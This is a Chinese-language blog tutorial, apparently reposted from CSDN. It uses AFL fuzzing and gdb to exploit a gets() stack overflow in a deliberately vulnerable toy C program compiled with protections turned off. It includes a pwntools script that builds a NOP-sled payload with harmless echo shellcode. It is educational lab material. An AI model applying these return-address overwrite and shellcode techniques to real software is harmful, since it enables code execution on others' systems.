gets 函数漏洞执行代码

gets 函数漏洞执行代码


最近学习了 AFL 工具,同时根据进行了gets函数的漏洞执行代码,具体的原理分析准备以后有时间进行详细分析,目前只是做一个记录,主要内容参考自这里.

环境kali 4.13.0-kali1-amd64

1. 安装工具peda :

  在命令行执行

  • git clone https://github.com/longld/peda.git ~/peda
  • echo “source ~/peda/peda.py” >> ~/.gdbinit

2. 用gdb 打开目标程序:

  • 小程序代码:
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <signal.h> 

int vuln(char *str)
{
    
    
    int len = strlen(str);
    if(str[0] == 'A' && len == 16)
    {
    
    
        raise(SIGSEGV);
        //如果输入的字符串的首字符为A并且长度为66,则异常退出
    }
    else if(str[0] == 'F' && len == 6)
    {
    
    
        raise(SIGSEGV);
        //如果输入的字符串的首字符为F并且长度为6,则异常退出
    }
    else
    {
    
    
        printf("it is good!\n");
    }
    return 0;
}

int main(int argc, char *argv[])
{
    
    
    char buf[32]={
    
    0};
    gets(buf);//存在栈溢出漏洞
    printf(buf);//存在格式化字符串漏洞
    vuln(buf);

    return 0;
}

  • 然后用AFL-gcc 编译:
    afl-gcc -fno-stack-protector -z execstack c/vul.c -o ./vuln-new ,
    注意:目标程序需要用afl-gcc 进行编译,同时在编译时需要设置:
    -fno-stack-protector -z execstack 是禁止相关的保护编译设置
  • gdb source/vuln
    然后在gdb中调试运行: r
    在这里插入图片描述

3. 将AFL-fuzz 得到的crush 作为输入进行gdb调试

在这里插入图片描述

4. 得到程序运行崩溃的详细信息:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
其中的崩溃原因为 SIGSEGV/Segmentation fault.

5. 然后查看crush 输入的数据:

在这里插入图片描述
发现crush中的数据和gdb中的RSP 寄存器中的数据一样,因此可以修改指定的位置来修改RSP寄存器的值。

6. gdb中在函数返回处下断点进行分析:

在这里插入图片描述
在这里插入图片描述

7. 新建新的程序输入文件:

  • 前40 个字符为A (命令行执行: printf “%0.sA” {1…40} > test3 )
  • 中间6个字符为B (命令行执行: printf “%0.sB” {1…6} >> test3 )
  • 后两个字符为 ‘\0’ (命令行执行: printf “%0.s\0” {1…2} >> test3 )
  • 最后112个字符为C (命令行执行: printf “%0.sC” {1…112} >> test3 )

8. 用hexdump 查看:

在这里插入图片描述](https://img-blog.csdnimg.cn/20191120205650376.png)![在这里插入图片描述

9. 将test3 作为程序的输入,可得到:

在这里插入图片描述
说明程序会跳转到 0x424242424242 这个地址(也就是我们输入的BBBBBB)去执行,但是这个地址是非法的,所以我们要把这个地址换成我们的shellcode 地址,然后就可以执行我们的shellcode了

10. 构建shellcode 的代码如下:

import struct
from pwn import *
def generate_payload(start_addr,shellcode):
	context.arch='amd64'
	
	nop=asm('nop',arch='amd64')
	nop1=nop*40
	s_code=asm(shellcode)

	addr=struct.pack("<Q",start_addr)
	payload=nop1+addr+(nop*16)+s_code
	
	return payload

a=0x7fffffffe110
payload=generate_payload(a,shellcraft.amd64.linux.echo("hello,good job \n")+shellcraft.amd64.linux.exit())
# print(payload)

with open("./shellcode-new",'wb') as f:
	f.write(payload)
	print("generate successfully!")

其中变量a 的值为栈顶的地址,也就是我们的shellcode 代码将执行的地址(代码将在stack 上执行,这也是为什么需要在编译的时候关闭相应的站保护设置),需要根据自己机器中的地址进行改变。

11. 构建shellcode 后,用hexdump 进行查看:

在这里插入图片描述

12. 然后再gdb 中用shellcode 作为程序的输入运行程序(依然需要在ret 出下断点):

在这里插入图片描述

13. 得到运行的状态如下:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在进行此时的堆栈查看:
在这里插入图片描述
与之前hexdump 的shellcode 一致。

14. 可以看出,此时栈顶的数据为地址 0x00007fffffffe110:

在这里插入图片描述

15. 因为设置了断点,此时的RIP=0x555555555190 :

在这里插入图片描述
在执行ret 操作时,栈顶的数据将会被传递给RIP ,从而程序执行的路径就转到了指定的地址——即堆栈上,而堆栈上是我们的shellcode,shellcode 就被执行。

16. 因为在gdb设置了断点,程序中断;在gdb 中继续执行:

在这里插入图片描述

17. 成功执行,现在我们取消断点,重新执行,成功:

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_39561364/article/details/103170979
今日推荐